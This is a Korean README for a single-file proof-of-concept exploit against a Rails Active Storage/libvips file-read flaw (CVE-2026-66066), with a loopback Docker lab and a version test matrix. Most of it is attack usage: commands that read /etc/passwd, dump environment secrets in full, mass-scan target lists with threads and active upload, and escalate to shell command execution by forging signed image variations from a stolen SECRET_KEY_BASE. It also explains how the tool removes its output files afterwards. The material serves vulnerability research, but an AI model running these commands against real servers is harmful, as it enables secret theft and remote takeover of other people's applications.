
Rails CVE-2026-66066용 단일 파일 PoC: 임의 파일 읽기, 비밀정보 복구, 스레드 기반 스캐닝, 서명된 이미지 변형을 통한 조건부 RCE.
Rails Active Storage/libvips 임의 파일 읽기 취약점에 대한 무의존성(zero-dependency) 단일 파일 개념 증명(PoC)이자 루프백 전용 Docker 실습 환경입니다. 또한 복구된 secret_key_base에서 위조된 이미지 variation과 명령 실행으로 이어지는 보안 권고의 조건부 권한 상승을 시연합니다.
주요 참고 자료: Rails 보안 권고, Rails 포렌식 분석, Ethiack 기술 문서, 그리고 8.1.3.1 릴리스.
https://github.com/user-attachments/assets/fdcb5651-c1d1-4bc4-b322-8f1205b09635
kr2s.py는 완전한 클라이언트를 단일 파일에 포함합니다:
h5py나 numpy 없이 포함된 패치 가능한 HDF5/MAT 페이로드이 도구는 패키지를 설치하지 않으며, 콜백 리스너를 시작하지 않고, 대상에서 curl을 요구하지 않으며, make에 의존하지 않습니다. RCE 단계는 내장 Active Storage representation 라우트를 사용하며 Marshal 가젯이 필요 없습니다.
취약한 랩을 시작합니다:
cd lab
RAILS_VERSION=8.1.3 docker compose up --build
Compose 포트는 127.0.0.1에 바인딩되며, 컨테이너는 모든 Linux capabilities가 제거된 비특권 사용자로 실행됩니다.
다른 터미널에서:
# Intrusive: uploads a blob, then confirms /etc/hostname is readable.
python3 kr2s.py check http://127.0.0.1:3000
# Recover a fixed-size prefix. Binary output goes to stdout unless -o is used.
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd --size 4096
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd -o passwd.bin
# Recover selected environment secrets. Values are redacted by default.
python3 kr2s.py secrets http://127.0.0.1:3000
# Display complete matched environment values for authorized analysis.
python3 kr2s.py secrets http://127.0.0.1:3000 --show-full
# Passive preflight of one target or a file containing one target per line.
python3 kr2s.py scan http://127.0.0.1:3000
python3 kr2s.py scan targets.txt --threads 10 --json scan.json
# Intrusively confirm file read on every target in the list.
python3 kr2s.py scan targets.txt --active
# Probe selected libvips loaders.
python3 kr2s.py probe http://127.0.0.1:3000
# Conditional escalation. This executes the supplied command.
python3 kr2s.py rce http://127.0.0.1:3000 "id; uname -a"
모든 재정의 옵션을 보려면 python3 kr2s.py COMMAND --help를 실행하세요. 실제 애플리케이션에서 흔히 쓰이는 제어 옵션은 --harvest-url, --show-path, --proxy, --insecure, --skb입니다.
secrets --show-full은 일치하는 환경 변수 값 전체를 출력합니다. 이 옵션이 없으면 도구는 처음 12자와 줄임표만 출력합니다. --also-read로 요청한 파일(기본 Rails 자격 증명 경로 포함)은 읽을 수 있을 때 최대 600자까지 출력됩니다.
수동 scan은 페이지가 수집 가능한 Active Storage representation을 노출하는지만 보고하며, 설치된 Rails 패치 수준을 식별하지는 못합니다. scan --active는 악성 blob을 업로드하고 canary 읽기를 시도합니다. 실패한 능동 결과는 SAFE가 아니라 BLOCKED_OR_INCONCLUSIVE로 표시됩니다. WAF, 인증, 지원되지 않는 variation, Rails 수정 사항이 애플리케이션 외부에서는 동일하게 보일 수 있기 때문입니다.
다음으로 랩을 중지합니다:
cd lab
docker compose down
image/png로 선언된 Active Storage 직접 업로드를 예약합니다.matload에 전달하며, 대상 파일의 바이트가 이미지 픽셀이 되어 생성된 PNG로 반환됩니다.하이브리드 파일은 동시에 두 파서를 충족합니다. 텍스트가 MATLAB 5.0으로 시작하고, 오프셋 124의 버전 워드가 HDF5 기반 MATLAB 7.3 경로를 선택합니다. Rails의 수정 사항은 공격자가 제어하는 파일이 matload에 도달하기 전에 신뢰할 수 없는(untrusted) 것으로 표시된 libvips 작업을 차단합니다.
rce는 --skb가 제공되지 않는 한 /proc/self/environ에서 SECRET_KEY_BASE를 먼저 읽습니다. 그런 다음 Active Storage 검증기(verifier) 키를 파생하고 instance_eval 연산을 포함하는 JSON variation에 서명합니다. 영향을 받는 vips 경로에서 해당 연산은 Vips::Image.public_send에 도달합니다. PoC는 이를 내장 representation 라우트를 통해 전송하고, 제공된 명령을 /bin/sh로 실행하며 두 출력 스트림을 모두 캡처합니다.
이 두 번째 단계는 서명 비밀을 복구하고 Ethiack이 CVE-2025-24293을 분석한 내용에서 설명한 취약한 vips 변환 동작에 도달해야만 성립합니다. CVE-2026-66066 패치는 파일 읽기 진입점을 차단합니다. 이전에 유출된 서명 비밀에 대한 일반적인 수정 사항은 아닙니다. Rails 보안 권고에서 권장하듯 노출이 의심되면 비밀을 교체하십시오.
명령 출력은 임의의 /tmp/.kr2s_* 파일에 기록되고, 동일한 파일 읽기 프리미티브를 통해 복구된 후 두 번째 서명된 페이로드로 제거됩니다.
읽기는 요청한 고정 크기 영역을 반환합니다. 원본이 더 짧으면 그 접두어 뒤에 0바이트가 이어집니다. 이후 영역은 --offset을 사용하세요.
기본 랩 variation은 PNG로만 변환하므로 복구는 바이트 단위로 정확합니다. 실제 애플리케이션은 variation 크기를 조정할 수 있습니다. 수집 키 모드는 가로 리샘플링을 피하기 위해 1픽셀 열을 사용하지만, 높이가 더 낮은 variation은 여전히 지오메트리를 변경할 수 있습니다. 이 경우 클라이언트는 명시적으로 실패합니다. --size를 줄이거나 크기를 조정하지 않는 representation을 수집하세요.
모든 명령은 침습적입니다. 영구 Active Storage blob을 생성하고 처리된 variation을 만들 수 있습니다. rce는 추가로 제공된 명령을 실행합니다.
매트릭스 스크립트는 각 릴리스를 빌드하고, 취약한 버전에서 실제 읽기 및 RCE 확인을 실행하고, 수정된 버전에서 읽기가 차단되는지 검증하며, 불일치가 있으면 0이 아닌 값을 반환합니다:
./lab/matrix.sh
./lab/matrix.sh 8.1.3
./lab/matrix.sh 8.1.3.1:PATCHED
2026-07-31에 Ruby 3.4.10, image_processing 1.14.0, ruby-vips 2.3.0, libvips 8.16.1로 검증했습니다:
| Rails | 파일 읽기 | RCE 확인 | 결과 |
|---|---|---|---|
| 7.2.3.1 | READ-OK | RCE-OK | 통과 |
| 7.2.3.2 | 차단됨 | 실행 안 함 | 통과 |
| 8.0.5 | READ-OK | RCE-OK | 통과 |
| 8.0.5.1 | 차단됨 | 실행 안 함 | 통과 |
| 8.1.3 | READ-OK | RCE-OK | 통과 |
| 8.1.3.1 | 차단됨 | 실행 안 함 | 통과 |
패치된 행은 사전에 제공된 서명 비밀로 RCE 페이로드를 의도적으로 실행하지 않습니다. 매트릭스는 CVE의 파일 읽기 경계를 테스트합니다.
research/craft.py는 로더 연구를 위한 후보 페이로드를 재생성하며 h5py와 numpy가 필요합니다. 릴리스 PoC에서는 가져오지 않습니다. lab/probe/probe.sh는 랩 이미지 내부에서 ruby-vips로 해당 후보들을 검사합니다:
uv run --script research/craft.py all -o /tmp/kr2s-payloads
docker run --rm \
-v "$PWD/lab/probe:/probe:ro" \
-v /tmp/kr2s-payloads:/payloads:ro \
--entrypoint /probe/probe.sh kr2s-rails:8.1.3
다음과 같이 의존성이 없는 단위 테스트를 실행합니다:
python3 -m unittest discover -s tests -v
MAT/HDF5 페이로드와 무의존성 클라이언트는 로컬 테스트를 통해 개발되었습니다. 공개 PoC가 등장한 후, 이 릴리스에는 Zer0SumGam3의 PoC에 문서화된 variation 키 수집과 내장 Active Storage 라우트가 통합되었습니다. 여기의 Python 구현은 독창적이며 표준 라이브러리만 사용합니다.
이전 개정판에서는 Puma::MiniSSL::Context와 ActiveSupport 프록시를 사용하는 서명된 Marshal 페이로드로도 RCE가 가능함을 보여주었으며, 이는 Behrad Taher의 공개 가젯 연구를 기반으로 했습니다. 그 경로는 대상 측 헬퍼 바이너리를 피할 수 있었지만, Marshal을 처리할 수 있는 서명 ID 싱크와 로드된 Puma 및 ActiveSupport 가젯 클래스가 필요했습니다. Ethiack Research Team이 더 간단한 서명 JSON variation 기법을 문서화한 KindaRails2Shell 기술 문서를 게시한 후 대체되었습니다. 이 기법은 기본(stock) 라우트를 사용하며 그러한 전제 조건을 제거합니다.
발견 공로는 André Baptista (0xacb), Bruno Mendes (s3np41k1r1t0), Rafael Castilho 및 Ethiack Research Team, RyotaK (GMO Flatt Security)에게 있습니다. Abdelmounaim Moulahcene (bl0rph)은 조율된 공개 직전에 기저 프리미티브를 독립적으로 게시했습니다. 유지관리자들의 전체 타임라인과 크레딧은 Rails 포렌식 저장소를 참조하세요.
소유한 시스템 또는 명시적으로 테스트 승인을 받은 시스템에서만 사용하십시오. 저자는 오용에 대한 어떠한 책임도 지지 않습니다. 이 연구 산출물의 문제를 보고하려면 SECURITY.md를 참조하세요.
MIT License에 따라 배포됩니다.